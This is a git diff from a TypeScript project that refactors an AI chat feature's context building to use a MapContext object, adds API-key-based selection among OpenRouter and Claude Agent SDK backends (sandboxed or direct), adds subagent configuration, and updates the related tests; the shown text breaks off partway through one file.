b/src/lib/domains/agentic/services/__tests__/chat-context-builder.test.ts index 4ee303f83..abbcd6af5 100644 --- a/src/lib/domains/agentic/services/__tests__/chat-context-builder.test.ts +++ b/src/lib/domains/agentic/services/__tests__/chat-context-builder.test.ts @@ -1,8 +1,7 @@ import { describe, it, expect, vi, beforeEach } from 'vitest' import { ChatContextBuilder } from '~/lib/domains/agentic/services/chat-context-builder.service' import type { IChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/strategy.interface' -import type { ChatContextOptions, ChatContextMessage, ChatContextStrategy } from '~/lib/domains/agentic/types' -import type { ChatMessage } from '~/app/map' +import type { ChatContextOptions, ChatContextMessage, ChatContextStrategy, ChatMessageContract } from '~/lib/domains/agentic/types' describe('ChatContextBuilder', () => { let mockFullStrategy: IChatStrategy @@ -11,13 +10,13 @@ describe('ChatContextBuilder', () => { let strategies: Map let builder: ChatContextBuilder - const mockMessages: ChatMessage[] = [ + const mockMessages: ChatMessageContract[] = [ { id: '1', type: 'user', content: 'Hello, can you help me?', metadata: { - timestamp: new Date('2024-01-01T10:00:00Z'), + timestamp: '2024-01-01T10:00:00.000Z', tileId: 'tile-123' } }, @@ -26,7 +25,7 @@ describe('ChatContextBuilder', () => { type: 'assistant', content: 'Of course! What do you need help with?', metadata: { - timestamp: new Date('2024-01-01T10:01:00Z') + timestamp: '2024-01-01T10:01:00.000Z' } }, { @@ -34,7 +33,7 @@ describe('ChatContextBuilder', () => { type: 'user', content: 'I need to organize my tiles', metadata: { - timestamp: new Date('2024-01-01T10:02:00Z'), + timestamp: '2024-01-01T10:02:00.000Z', tileId: 'tile-456' } }, @@ -43,18 +42,17 @@ describe('ChatContextBuilder', () => { type: 'system', content: 'System notification', metadata: { - timestamp: new Date('2024-01-01T10:03:00Z') + timestamp: '2024-01-01T10:03:00.000Z' } } ] const mockContextMessages: ChatContextMessage[] = mockMessages.map(msg => ({ role: msg.type, - content: typeof msg.content === 'string' ? msg.content : '[widget]', - timestamp: msg.metadata?.timestamp ?? new Date(), + content: msg.content, + timestamp: msg.metadata?.timestamp ? new Date(msg.metadata.timestamp) : new Date(), metadata: { - tileId: msg.metadata?.tileId, - model: msg.type === 'assistant' ? (msg.metadata as { model?: string })?.model : undefined + tileId: msg.metadata?.tileId } })) diff --git a/src/lib/domains/agentic/services/__tests__/context-composition.test.ts b/src/lib/domains/agentic/services/__tests__/context-composition.test.ts index 93930364c..c7cd89c63 100644 --- a/src/lib/domains/agentic/services/__tests__/context-composition.test.ts +++ b/src/lib/domains/agentic/services/__tests__/context-composition.test.ts @@ -1,10 +1,10 @@ import { describe, it, expect, vi, beforeEach } from 'vitest' import { ContextCompositionService } from '~/lib/domains/agentic/services/context-composition.service' +import { createMockMapContext } from '~/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks' import type { CanvasContextBuilder } from '~/lib/domains/agentic/services/canvas-context-builder.service' import type { ChatContextBuilder } from '~/lib/domains/agentic/services/chat-context-builder.service' import type { TokenizerService } from '~/lib/domains/agentic/services/tokenizer.service' -import type { CompositionConfig } from '~/lib/domains/agentic/types' -import type { ChatMessage } from '~/app/map' +import type { CompositionConfig, ChatMessageContract } from '~/lib/domains/agentic/types' import { createMockCanvasContext, createMockChatContext } from '~/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks' describe('ContextCompositionService', () => { @@ -49,8 +49,8 @@ describe('ContextCompositionService', () => { } const result = await service.composeContext( - 'user:123,group:456:1,2', - [] as ChatMessage[], + createMockMapContext(), + [] as ChatMessageContract[], config ) @@ -86,8 +86,8 @@ describe('ContextCompositionService', () => { .mockReturnValueOnce(700) // Chat exceeds allocation const result = await service.composeContext( - 'user:123,group:456:1,2', - [] as ChatMessage[], + createMockMapContext(), + [] as ChatMessageContract[], config ) @@ -111,8 +111,8 @@ describe('ContextCompositionService', () => { } const result = await service.composeContext( - 'user:123,group:456:1,2', - [] as ChatMessage[], + createMockMapContext(), + [] as ChatMessageContract[], configCanvasOnly ) @@ -139,8 +139,8 @@ describe('ContextCompositionService', () => { mockTokenizer.count = vi.fn().mockReturnValue(100) // Each context is 100 tokens const result = await service.composeContext( - 'user:123,group:456:1,2', - [] as ChatMessage[], + createMockMapContext(), + [] as ChatMessageContract[], config ) diff --git a/src/lib/domains/agentic/services/__tests__/context-serializer.test.ts b/src/lib/domains/agentic/services/__tests__/context-serializer.test.ts index b10381741..640aced37 100644 --- a/src/lib/domains/agentic/services/__tests__/context-serializer.test.ts +++ b/src/lib/domains/agentic/services/__tests__/context-serializer.test.ts @@ -16,31 +16,32 @@ describe('ContextSerializerService', () => { const mockCanvasContext: CanvasContext = { type: 'canvas', center: mockCenterTile, + composed: [], children: [ - { - coordId: 'child1', - title: 'User Research', - content: 'Understanding customer needs', - position: 1, - depth: 1, - hasChildren: false + { + coordId: 'child1', + title: 'User Research', + content: 'Understanding customer needs', + position: 1, + depth: 1, + hasChildren: false }, - { - coordId: 'child2', - title: 'Feature Planning', - content: 'Prioritizing development work', - position: 2, - depth: 1, - hasChildren: false + { + coordId: 'child2', + title: 'Feature Planning', + content: 'Prioritizing development work', + position: 2, + depth: 1, + hasChildren: false } ], grandchildren: [ - { - coordId: 'gc1', - title: 'User Interviews', - content: 'Direct customer feedback', - depth: 2, - hasChildren: false + { + coordId: 'gc1', + title: 'User Interviews', + content: 'Direct customer feedback', + depth: 2, + hasChildren: false } ], strategy: 'standard', @@ -91,11 +92,11 @@ describe('ContextSerializerService', () => { describe('Structured Format', () => { it('should serialize composed context with clear sections', async () => { const result = serializer.serialize(mockComposedContext, { type: 'structured' }) - + expect(result).toContain('# Canvas Context') expect(result).toContain('Current item: Product Development') expect(result).toContain('## Children:') - expect(result).toContain('Northwest: User Research') + expect(result).toContain('User Research') expect(result).toContain('# Chat History') expect(result).toContain('User: Help me organize my product development tiles') }) diff --git a/src/lib/domains/agentic/services/agentic.factory.ts b/src/lib/domains/agentic/services/agentic.factory.ts index 4491c73a8..b61ad15ad 100644 --- a/src/lib/domains/agentic/services/agentic.factory.ts +++ b/src/lib/domains/agentic/services/agentic.factory.ts @@ -1,4 +1,6 @@ import { OpenRouterRepository } from '~/lib/domains/agentic/repositories/openrouter.repository' +import { ClaudeAgentSDKRepository } from '~/lib/domains/agentic/repositories/claude-agent-sdk.repository' +import { ClaudeAgentSDKSandboxRepository } from '~/lib/domains/agentic/repositories/claude-agent-sdk-sandbox.repository' import { QueuedLLMRepository } from '~/lib/domains/agentic/repositories/queued-llm.repository' import { CanvasContextBuilder } from '~/lib/domains/agentic/services/canvas-context-builder.service' import { ChatContextBuilder } from '~/lib/domains/agentic/services/chat-context-builder.service' @@ -18,28 +20,65 @@ import { FullChatStrategy } from '~/lib/domains/agentic/services/chat-strategies import { RecentChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/recent.strategy' import { RelevantChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/relevant.strategy' -import type { EventBus } from '~/app/map' +import type { EventBus } from '~/lib/utils/event-bus' import type { CanvasContextStrategy, ChatContextStrategy } from '~/lib/domains/agentic/types' import type { ICanvasStrategy } from '~/lib/domains/agentic/services/canvas-strategies/strategy.interface' import type { IChatStrategy } from '~/lib/domains/agentic/services/chat-strategies/strategy.interface' -import type { CacheState } from '~/app/map' +export interface LLMConfig { + openRouterApiKey?: string + anthropicApiKey?: string + preferClaudeSDK?: boolean // If true, use ClaudeAgentSDKRepository when anthropicApiKey is provided + useSandbox?: boolean // If true, use ClaudeAgentSDKSandboxRepository (requires VERCEL_TOKEN) + mcpApiKey?: string // Internal MCP API key (fetched by API layer from IAM domain) +} export interface CreateAgenticServiceOptions { - openRouterApiKey: string + llmConfig: LLMConfig eventBus: EventBus - getCacheState: () => CacheState useQueue?: boolean userId?: string // Required when using queue for rate limiting } export function createAgenticService(options: CreateAgenticServiceOptions): AgenticService { - const { openRouterApiKey, eventBus, getCacheState, useQueue, userId } = options + const { llmConfig, eventBus, useQueue, userId } = options + const { openRouterApiKey, anthropicApiKey, preferClaudeSDK, useSandbox, mcpApiKey } = llmConfig + + // Normalize API keys to empty strings if missing + const normalizedAnthropicKey = anthropicApiKey ?? '' + const normalizedOpenRouterKey = openRouterApiKey ?? '' // Create repository - use queued version if configured let llmRepository: ILLMRepository - const baseRepository = new OpenRouterRepository(openRouterApiKey) + // Choose base repository based on available API keys and preferences + // Always construct a repository so isConfigured() can determine readiness + let baseRepository: ILLMRepository + + if (preferClaudeSDK && normalizedAnthropicKey) { + // Use Claude Agent SDK repository (sandbox or direct) + // Pass mcpApiKey for MCP tool access (fetched by API layer from IAM domain) + if (useSandbox) { + // Use Vercel Sandbox for production-safe isolated execution + baseRepository = new ClaudeAgentSDKSandboxRepository(normalizedAnthropicKey, mcpApiKey, userId) + } else { + // Use direct SDK for development (not safe for production on Vercel) + baseRepository = new ClaudeAgentSDKRepository(normalizedAnthropicKey, mcpApiKey, userId) + } + } else if (normalizedOpenRouterKey) { + // Default to OpenRouter if available + baseRepository = new OpenRouterRepository(normalizedOpenRouterKey) + } else if (normalizedAnthropicKey) { + // Fall back to Claude SDK if only anthropic key is provided + if (useSandbox) { + baseRepository = new ClaudeAgentSDKSandboxRepository(normalizedAnthropicKey, mcpApiKey, userId) + } else { + baseRepository = new ClaudeAgentSDKRepository(normalizedAnthropicKey, mcpApiKey, userId) + } + } else { + // No keys provided - create OpenRouter with empty key, let isConfigured() return false + baseRepository = new OpenRouterRepository(normalizedOpenRouterKey) + } if (useQueue && userId) { // Use queued repository for production with proper rate limiting @@ -52,11 +91,11 @@ export function createAgenticService(options: CreateAgenticServiceOptions): Agen // Create tokenizer const tokenizer = new SimpleTokenizerService() - // Create canvas strategies + // Create canvas strategies (no longer need getContextSnapshot) const canvasStrategies = new Map([ - ['standard', new StandardCanvasStrategy(getCacheState)], - ['minimal', new MinimalCanvasStrategy(getCacheState)], - ['extended', new ExtendedCanvasStrategy(getCacheState)] + ['standard', new StandardCanvasStrategy()], + ['minimal', new MinimalCanvasStrategy()], + ['extended', new ExtendedCanvasStrategy()] ]) // Create chat strategies diff --git a/src/lib/domains/agentic/services/agentic.service.ts b/src/lib/domains/agentic/services/agentic.service.ts index c827ee473..2e3c388a2 100644 --- a/src/lib/domains/agentic/services/agentic.service.ts +++ b/src/lib/domains/agentic/services/agentic.service.ts @@ -1,23 +1,25 @@ +import { randomUUID } from 'crypto' import type { ILLMRepository } from '~/lib/domains/agentic/repositories/llm.repository.interface' import type { ContextCompositionService } from '~/lib/domains/agentic/services/context-composition.service' import { PromptTemplateService } from '~/lib/domains/agentic/services/prompt-template.service' // import { IntentClassifierService } from '../intent-classification/intent-classifier.service' -import type { EventBus } from '~/app/map' -import type { - CompositionConfig, - LLMResponse, +import type { EventBus } from '~/lib/utils/event-bus' +import type { + CompositionConfig, + LLMResponse, LLMGenerationParams, StreamChunk, ModelInfo, - LLMMessage + LLMMessage, + ChatMessageContract, } from '~/lib/domains/agentic/types' -import type { ChatMessage } from '~/app/map' +import type { MapContext } from '~/lib/domains/mapping/utils' // import type { Intent, ClassificationContext } from '../intent-classification/intent.types' import type { PromptTemplateName } from '~/lib/domains/agentic/prompts/prompts.constants' export interface GenerateResponseOptions { - centerCoordId: string - messages: ChatMessage[] + mapContext: MapContext + messages: ChatMessageContract[] model: string temperature?: number maxTokens?: number @@ -28,8 +30,17 @@ export interface GenerateResponseOptions { specialContext?: 'onboarding' | 'importing' } +export interface SubagentConfig { + description: string + tools?: string[] + disallowedTools?: string[] + prompt: string + model?: 'sonnet' | 'opus' | 'haiku' | 'inherit' +} + export class AgenticService { private promptTemplate: PromptTemplateService + private subagents: Map // private intentClassifier: IntentClassifierService constructor( @@ -38,6 +49,7 @@ export class AgenticService { private readonly eventBus: EventBus ) { this.promptTemplate = new PromptTemplateService() + this.subagents = new Map() } async generateResponse(options: GenerateResponseOptions): Promise { @@ -47,7 +59,7 @@ export class AgenticService { // Compose context from tile hierarchy and chat history const composedContext = await this.contextComposition.composeContext( - options.centerCoordId, + options.mapContext, options.messages, options.compositionConfig ?? this.getDefaultCompositionConfig() ) @@ -106,7 +118,7 @@ export class AgenticService { // Compose context const composedContext = await this.contextComposition.composeContext( - options.centerCoordId, + options.mapContext, options.messages, options.compositionConfig ?? this.getDefaultCompositionConfig() ) @@ -175,7 +187,7 @@ export class AgenticService { private buildLLMMessages( composedContext: ReturnType extends Promise ? T : never, - chatMessages: ChatMessage[], + chatMessages: ChatMessageContract[], promptTemplateName: PromptTemplateName = 'system-prompt' ): LLMMessage[] { const messages: LLMMessage[] = [] @@ -192,19 +204,12 @@ export class AgenticService { }) // Convert chat messages to LLM messages + // Note: ChatMessageContract.content is always a string (widgets are pre-serialized) for (const msg of chatMessages) { - if (typeof msg.content === 'string') { - messages.push({ - role: msg.type, - content: msg.content - }) - } else { - // Handle widget messages by extracting text representation - messages.push({ - role: msg.type, - content: this.extractTextFromWidget(msg.content) - }) - } + messages.push({ + role: msg.type, + content: msg.content + }) } return messages @@ -236,6 +241,33 @@ export class AgenticService { // Intent classification methods temporarily removed due to missing dependencies + /** + * Create a subagent with the specified configuration + * + * @param config - Subagent configuration including description, prompt, and optional tools + * @returns Unique identifier for the created subagent + */ + createSubagent(config: SubagentConfig): string { + const subagentId = `subagent-${randomUUID()}` + this.subagents.set(subagentId, config) + return subagentId + } + + /** + * Get the configuration for a specific subagent + * + * @param subagentId - The unique identifier of the subagent + * @returns The subagent configuration + * @throws Error if subagent not found + */ + getSubagentConfig(subagentId: string): SubagentConfig { + const config = this.subagents.get(subagentId) + if (!config) { + throw new Error(`Subagent not found: ${subagentId}`) + } + return config + } + private getDefaultCompositionConfig(): CompositionConfig { return { canvas: { diff --git a/src/lib/domains/agentic/services/canvas-context-builder.service.ts b/src/lib/domains/agentic/services/canvas-context-builder.service.ts index 9e0d2248c..cb7e84506 100644 --- a/src/lib/domains/agentic/services/canvas-context-builder.service.ts +++ b/src/lib/domains/agentic/services/canvas-context-builder.service.ts @@ -1,8 +1,9 @@ -import type { - CanvasContext, - CanvasContextOptions, - CanvasContextStrategy +import type { + CanvasContext, + CanvasContextOptions, + CanvasContextStrategy } from '~/lib/domains/agentic/types' +import type { MapContext } from '~/lib/domains/mapping/utils' import type { ICanvasStrategy } from '~/lib/domains/agentic/services/canvas-strategies/strategy.interface' export class CanvasContextBuilder { @@ -11,11 +12,11 @@ export class CanvasContextBuilder { ) {} async build( - centerCoordId: string, + mapContext: MapContext, strategy: CanvasContextStrategy, options?: CanvasContextOptions ): Promise { const strategyImpl = this.strategies.get(strategy) ?? this.strategies.get('standard')! - return strategyImpl.build(centerCoordId, options ?? {}) + return strategyImpl.build(mapContext, options ?? {}) } } \ No newline at end of file diff --git a/src/lib/domains/agentic/services/canvas-strategies/__tests__/standard.strategy.test.ts b/src/lib/domains/agentic/services/canvas-strategies/__tests__/standard.strategy.test.ts index dc4b571ae..f11f5f81d 100644 --- a/src/lib/domains/agentic/services/canvas-strategies/__tests__/standard.strategy.test.ts +++ b/src/lib/domains/agentic/services/canvas-strategies/__tests__/standard.strategy.test.ts @@ -1,146 +1,96 @@ -import { describe, it, expect, vi, beforeEach } from 'vitest' +import { describe, it, expect, beforeEach } from 'vitest' import { StandardCanvasStrategy } from '~/lib/domains/agentic/services/canvas-strategies/standard.strategy' -import type { CacheState } from '~/app/map' -import type { TileData } from '~/app/map' +import { createMockMapContext } from '~/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks' describe('StandardCanvasStrategy', () => { - let mockGetCacheState: () => CacheState let strategy: StandardCanvasStrategy - - const createMockTile = ( - coordId: string, - title: string, - path: number[] - ): TileData => ({ - metadata: { - coordId, - coordinates: { - userId: 123, - groupId: 456, - path - }, - dbId: 'db-' + coordId, - parentId: path.length > 0 ? `user:123,group:456${path.length > 1 ? ':' + path.slice(0, -1).join(',') : ''}` : undefined, - depth: path.length, - ownerId: 'user:123' - }, - data: { - title, - content: `Description for ${title}`, - link: '', - color: 'zinc', - preview: undefined - }, - state: { - isDragged: false, - isHovered: false, - isSelected: false, - isExpanded: false, - isDragOver: false, - isHovering: false - } - } as unknown as TileData) - - const mockCacheState: CacheState = { - itemsById: { - 'user:123,group:456:1,2': createMockTile('user:123,group:456:1,2', 'Center', [1, 2]), - 'user:123,group:456:1,2,1': createMockTile('user:123,group:456:1,2,1', 'Child NW', [1, 2, 1]), - 'user:123,group:456:1,2,2': createMockTile('user:123,group:456:1,2,2', 'Child NE', [1, 2, 2]), - 'user:123,group:456:1,2,3': createMockTile('user:123,group:456:1,2,3', '', [1, 2, 3]), // Empty tile - 'user:123,group:456:1,2,1,6': createMockTile('user:123,group:456:1,2,1,6', 'Grandchild 1', [1, 2, 1, 6]), - 'user:123,group:456:1,2,1,5': createMockTile('user:123,group:456:1,2,1,5', 'Grandchild 2', [1, 2, 1, 5]), - 'user:123,group:456:1,2,2,3': createMockTile('user:123,group:456:1,2,2,3', 'Grandchild 3', [1, 2, 2, 3]), - 'user:123,group:456:1,2,1,6,2': createMockTile('user:123,group:456:1,2,1,6,2', 'Too Deep', [1, 2, 1, 6, 2]), // Too deep - }, - currentCenter: 'user:123,group:456:1,2', - expandedItemIds: [], - isCompositionExpanded: false, - isLoading: false, - error: null, - lastUpdated: Date.now(), - cacheConfig: { maxAge: 300000, backgroundRefreshInterval: 60000, enableOptimisticUpdates: true, maxDepth: 5 }, - regionMetadata: {} - } - + beforeEach(() => { - mockGetCacheState = vi.fn(() => mockCacheState) - strategy = new StandardCanvasStrategy(mockGetCacheState) + strategy = new StandardCanvasStrategy() }) - - it('should build context with center tile and 2 generations', async () => { - const result = await strategy.build('user:123,group:456:1,2', {}) - + + it('should build context with proper hierarchy', async () => { + const mapContext = createMockMapContext() + const result = await strategy.build(mapContext, {}) + expect(result.type).toBe('canvas') expect(result.strategy).toBe('standard') - expect(result.center.title).toBe('Center') + expect(result.center.title).toBe('Center Tile') + expect(result.center.content).toBe('This is the center tile content') expect(result.center.depth).toBe(0) - - // Check we got some children - expect(result.children.length).toBeGreaterThan(0) - expect(result.children.map(c => c.title)).toContain('Child NW') - expect(result.children.map(c => c.title)).toContain('Child NE') - - // Check we got some grandchildren - expect(result.grandchildren.length).toBeGreaterThan(0) - expect(result.grandchildren.map(g => g.title)).toContain('Grandchild 1') - - // Should not include tiles that are too deep - expect(result.grandchildren.map(g => g.title)).not.toContain('Too Deep') + + // Should have 2 children with previews + expect(result.children.length).toBe(2) + expect(result.children.map(c => c.title)).toContain('Child Tile 1') + expect(result.children.map(c => c.title)).toContain('Child Tile 2') + expect(result.children[0]?.content).toBe('Preview of child tile 1') + + // Should have 1 grandchild with no content + expect(result.grandchildren.length).toBe(1) + expect(result.grandchildren[0]?.title).toBe('Grandchild Tile 1') + expect(result.grandchildren[0]?.content).toBe('') // No content for grandchildren }) - - it('should filter empty tiles when includeEmptyTiles is false', async () => { - const result = await strategy.build('user:123,group:456:1,2', { - includeEmptyTiles: false - }) - - // Should filter out the empty child - expect(result.children).toHaveLength(2) - expect(result.children.every(c => c.title.trim() !== '')).toBe(true) + + it('should use hierarchical structure from MapContext', async () => { + const mapContext = createMockMapContext() + const result = await strategy.build(mapContext, {}) + + // Hierarchy is fetched from database via mapping domain + expect(result.children.length).toBe(2) + expect(result.grandchildren.length).toBe(1) }) - - it('should include position information for children', async () => { - const result = await strategy.build('user:123,group:456:1,2', {}) - - const childNW = result.children.find(c => c.title === 'Child NW') - const childNE = result.children.find(c => c.title === 'Child NE') - - expect(childNW?.position).toBe(1) // Direction.NorthWest - expect(childNE?.position).toBe(2) // Direction.NorthEast + + it('should include position information from coordinates', async () => { + const mapContext = createMockMapContext() + const result = await strategy.build(mapContext, {}) + + const child1 = result.children.find(c => c.title === 'Child Tile 1') + + // Position is derived from coordinates path + expect(child1?.position).toBe(3) // Direction from path [1,2,1,3] }) - - it('should handle missing center tile gracefully', async () => { - await expect( - strategy.build('user:123,group:456:99,99', {}) - ).rejects.toThrow('Center tile not found') + + it('should handle MapContext with center tile', async () => { + const mapContext = createMockMapContext() + const result = await strategy.build(mapContext, {}) + + // Should successfully build context from MapContext + expect(result.center).toBeDefined() + expect(result.center.coordId).toBe('1,0:1,2') }) - - it('should set proper depth values', async () => { - const result = await strategy.build('user:123,group:456:1,2', {}) - + + it('should set proper depth values for hierarchy', async () => { + const result = await strategy.build(createMockMapContext(), {}) + expect(result.center.depth).toBe(0) expect(result.children.every(c => c.depth === 1)).toBe(true) expect(result.grandchildren.every(g => g.depth === 2)).toBe(true) }) - - it('should include descriptions when available', async () => { - const result = await strategy.build('user:123,group:456:1,2', { - includeDescriptions: true - }) - - expect(result.center.content).toBe('Description for Center') - expect(result.children[0]?.content).toContain('Description for') + + it('should include correct detail level per hierarchy', async () => { + const mapContext = createMockMapContext() + const result = await strategy.build(mapContext, {}) + + // Center: full content + expect(result.center.content).toBe('This is the center tile content') + + // Children: preview + expect(result.children[0]?.content).toBe('Preview of child tile 1') + + // Grandchildren: no content + expect(result.grandchildren[0]?.content).toBe('') }) - - it('should serialize to structured format', async () => { - const result = await strategy.build('user:123,group:456:1,2', { - includeEmptyTiles: false - }) - + + it('should serialize to structured format with hierarchy', async () => { + const mapContext = createMockMapContext() + const result = await strategy.build(mapContext, {}) + const serialized = result.serialize({ type: 'structured' }) - - expect(serialized).toContain('Center: Center') + + expect(serialized).toContain('Center: Center Tile') expect(serialized).toContain('Children (2)') - expect(serialized).toContain('Child NW') - expect(serialized).toContain('Grandchildren (3)') + expect(serialized).toContain('Child Tile 1') + expect(serialized).toContain('Grandchildren (1)') + expect(serialized).toContain('Grandchild Tile 1') }) -}) \ No newline at end of file +}) diff --git a/src/lib/domains/agentic/services/canvas-strategies/__tests__/standard.strategy.test.ts.backup b/src/lib/domains/agentic/services/canvas-strategies/__tests__/standard.strategy.test.ts.backup new file mode 100644 index 000000000..f6cbd9507 --- /dev/null +++ b/src/lib/domains/agentic/services/canvas-strategies/__tests__/standard.strategy.test.ts.backup @@ -0,0 +1,101 @@ +import { describe, it, expect, vi, beforeEach } from 'vitest' +import { StandardCanvasStrategy } from '~/lib/domains/agentic/services/canvas-strategies/standard.strategy' +import type { AIContextSnapshot } from '~/lib/domains/agentic/types' + +describe('StandardCanvasStrategy', () => { + let mockGetContextSnapshot: () => AIContextSnapshot + let strategy: StandardCanvasStrategy + + // Mock AIContextSnapshot - simpler than CacheState + const mockContextSnapshot: AIContextSnapshot = { + centerCoordId: 'user:123,group:456:1,2', + visibleTiles: [ + { coordId: 'user:123,group:456:1,2', title: 'Center', content: 'Description for Center' }, + { coordId: 'user:123,group:456:1,2,1', title: 'Child NW', content: 'Description for Child NW' }, + { coordId: 'user:123,group:456:1,2,2', title: 'Child NE', content: 'Description for Child NE' }, + { coordId: 'user:123,group:456:1,2,3', title: '', content: '' }, // Empty tile + { coordId: 'user:123,group:456:1,2,1,6', title: 'Grandchild 1', content: 'Description for Grandchild 1' }, + { coordId: 'user:123,group:456:1,2,1,5', title: 'Grandchild 2', content: 'Description for Grandchild 2' }, + { coordId: 'user:123,group:456:1,2,2,3', title: 'Grandchild 3', content: 'Description for Grandchild 3' }, + ], + expandedTileIds: [] + } + + beforeEach(() => { + mockGetContextSnapshot = vi.fn(() => mockContextSnapshot) + strategy = new StandardCanvasStrategy(mockGetContextSnapshot) + }) + + it('should build context with center tile and visible tiles', async () => { + const result = await strategy.build('user:123,group:456:1,2', {}) + + expect(result.type).toBe('canvas') + expect(result.strategy).toBe('standard') + expect(result.center.title).toBe('Center') + expect(result.center.depth).toBe(0) + + // Simplified: all non-center visible tiles become children + expect(result.children.length).toBeGreaterThan(0) + expect(result.children.map(c => c.title)).toContain('Child NW') + expect(result.children.map(c => c.title)).toContain('Child NE') + expect(result.children.map(c => c.title)).toContain('Grandchild 1') + + // Simplified: no grandchildren separation + expect(result.grandchildren.length).toBe(0) + }) + + it('should use frontend-provided tiles (no filtering)', async () => { + const result = await strategy.build('user:123,group:456:1,2', { + includeEmptyTiles: false + }) + + // Simplified: frontend decides which tiles to send, backend doesn't filter + // All visible tiles from snapshot are included + expect(result.children.length).toBeGreaterThan(0) + }) + + it('should create simplified structure without positions', async () => { + const result = await strategy.build('user:123,group:456:1,2', {}) + + const childNW = result.children.find(c => c.title === 'Child NW') + + // Simplified: no position info (frontend already organized tiles) + expect(childNW?.position).toBeUndefined() + }) + + it('should handle missing center tile gracefully', async () => { + await expect( + strategy.build('user:123,group:456:99,99', {}) + ).rejects.toThrow('Center tile not found') + }) + + it('should set simplified depth values', async () => { + const result = await strategy.build('user:123,group:456:1,2', {}) + + expect(result.center.depth).toBe(0) + // Simplified: all non-center tiles have depth 1 + expect(result.children.every(c => c.depth === 1)).toBe(true) + expect(result.grandchildren.length).toBe(0) + }) + + it('should include descriptions when available', async () => { + const result = await strategy.build('user:123,group:456:1,2', { + includeDescriptions: true + }) + + expect(result.center.content).toBe('Description for Center') + expect(result.children[0]?.content).toContain('Description for') + }) + + it('should serialize to structured format', async () => { + const result = await strategy.build('user:123,group:456:1,2', { + includeEmptyTiles: false + }) + + const serialized = result.serialize({ type: 'structured' }) + + expect(serialized).toContain('Center: Center') + expect(serialized).toContain('Children') + expect(serialized).toContain('Child NW') + }) +}) \ No newline at end of file diff --git a/src/lib/domains/agentic/services/canvas-strategies/extended.strategy.ts b/src/lib/domains/agentic/services/canvas-strategies/extended.strategy.ts index 43b959bb2..183e5c67f 100644 --- a/src/lib/domains/agentic/services/canvas-strategies/extended.strategy.ts +++ b/src/lib/domains/agentic/services/canvas-strategies/extended.strategy.ts @@ -1,169 +1,110 @@ import type { ICanvasStrategy } from '~/lib/domains/agentic/services/canvas-strategies/strategy.interface' import type { CanvasContext, CanvasContextOptions, TileContextItem } from '~/lib/domains/agentic/types' -import type { CacheState } from '~/app/map' -import type { TileData } from '~/app/map' +import type { MapContext } from '~/lib/domains/mapping/utils' import { CoordSystem } from '~/lib/domains/mapping/utils' export class ExtendedCanvasStrategy implements ICanvasStrategy { - constructor(private readonly getCacheState: () => CacheState) {} - async build( - centerCoordId: string, - options: CanvasContextOptions + mapContext: MapContext, + _options: CanvasContextOptions ): Promise { - const state = this.getCacheState() - - // Get all tiles within 3 generations - const regionTiles = this.getRegionItems(state, centerCoordId, 3) - - // Find center tile - const centerTile = regionTiles.find(t => t.metadata.coordId === centerCoordId) - if (!centerTile) { - throw new Error(`Center tile not found: ${centerCoordId}`) + // Convert center with full content + const center: TileContextItem = { + coordId: mapContext.center.coords, + title: mapContext.center.title, + content: mapContext.center.content, + depth: 0, + hasChildren: mapContext.children.length > 0 || mapContext.composed.length > 0 } - - // Group tiles by depth - const centerDepth = centerTile.metadata.coordinates.path.length - const children: TileData[] = [] - const grandchildren: TileData[] = [] - const greatGrandchildren: TileData[] = [] - - regionTiles.forEach(tile => { - if (tile.metadata.coordId === centerCoordId) return - - const tileDepth = tile.metadata.coordinates.path.length - const relativeDepth = tileDepth - centerDepth - - if (relativeDepth === 1) { - children.push(tile) - } else if (relativeDepth === 2) { - grandchildren.push(tile) - } else if (relativeDepth === 3) { - greatGrandchildren.push(tile) - } - }) - - // Convert to context items - const center = this.toContextItem(centerTile, 0) - const childrenItems = this.filterAndConvert(children, options, 1) - const grandchildrenItems = this.filterAndConvert(grandchildren, options, 2) - - // For extended strategy, include great-grandchildren in the grandchildren array - const allDescendants = [ - ...grandchildrenItems, - ...this.filterAndConvert(greatGrandchildren, options, 3) - ] - + + // Convert composed tiles (direction 0) with full content + const composed: TileContextItem[] = mapContext.composed.map(comp => ({ + coordId: comp.coords, + title: comp.title, + content: comp.content, + position: CoordSystem.getDirection(CoordSystem.parseId(comp.coords)), + depth: 0.5, + hasChildren: false + })) + + // For extended: include children with FULL content (not just preview) + const children: TileContextItem[] = mapContext.children.map(child => ({ + coordId: child.coords, + title: child.title, + content: child.content, // Full content for extended strategy + position: CoordSystem.getDirection(CoordSystem.parseId(child.coords)), + depth: 1, + hasChildren: mapContext.grandchildren.some(gc => { + const childCoords = CoordSystem.parseId(child.coords) + const gcCoords = CoordSystem.parseId(gc.coords) + return gcCoords.path.length === childCoords.path.length + 2 && + gcCoords.path.slice(0, -2).every((v, i) => v === childCoords.path[i]) + }) + })) + + // Extended also includes grandchildren with preview + const grandchildren: TileContextItem[] = mapContext.grandchildren.map(gc => ({ + coordId: gc.coords, + title: gc.title, + content: gc.preview ?? '', // Include preview for grandchildren + position: CoordSystem.getDirection(CoordSystem.parseId(gc.coords)), + depth: 2, + hasChildren: false + })) + return { type: 'canvas', center, - children: childrenItems, - grandchildren: allDescendants, // Includes 2nd and 3rd generation + composed, + children, + grandchildren, strategy: 'extended', metadata: { computedAt: new Date() }, serialize: (format) => this.serialize( - { center, children: childrenItems, grandchildren: allDescendants }, + { center, composed, children, grandchildren }, format ) } } - - private filterAndConvert( - tiles: TileData[], - options: CanvasContextOptions, - depth: number - ): TileContextItem[] { - let filtered = tiles - - if (!options.includeEmptyTiles) { - filtered = tiles.filter(t => t.data.title?.trim()) - } - - return filtered.map(t => this.toContextItem(t, depth)) - } - - private toContextItem(tile: TileData, depth: number): TileContextItem { - const position = depth > 0 - ? CoordSystem.getDirection(tile.metadata.coordinates) - : undefined - - return { - coordId: tile.metadata.coordId, - title: tile.data.title || '', - content: tile.data.content || '', - position, - depth, - hasChildren: false - } - } - - private getRegionItems(state: CacheState, centerCoordId: string, maxDepth: number): TileData[] { - const regionItems: TileData[] = [] - const centerItem = state.itemsById[centerCoordId] - - if (!centerItem) return regionItems - - // Add center item - regionItems.push(centerItem) - - // Get center coordinates for hierarchy calculation - const centerCoords = centerItem.metadata.coordinates - const centerDepth = centerCoords.path.length - - // Add items within the specified depth from center - Object.values(state.itemsById).forEach((item) => { - if (item.metadata.coordId === 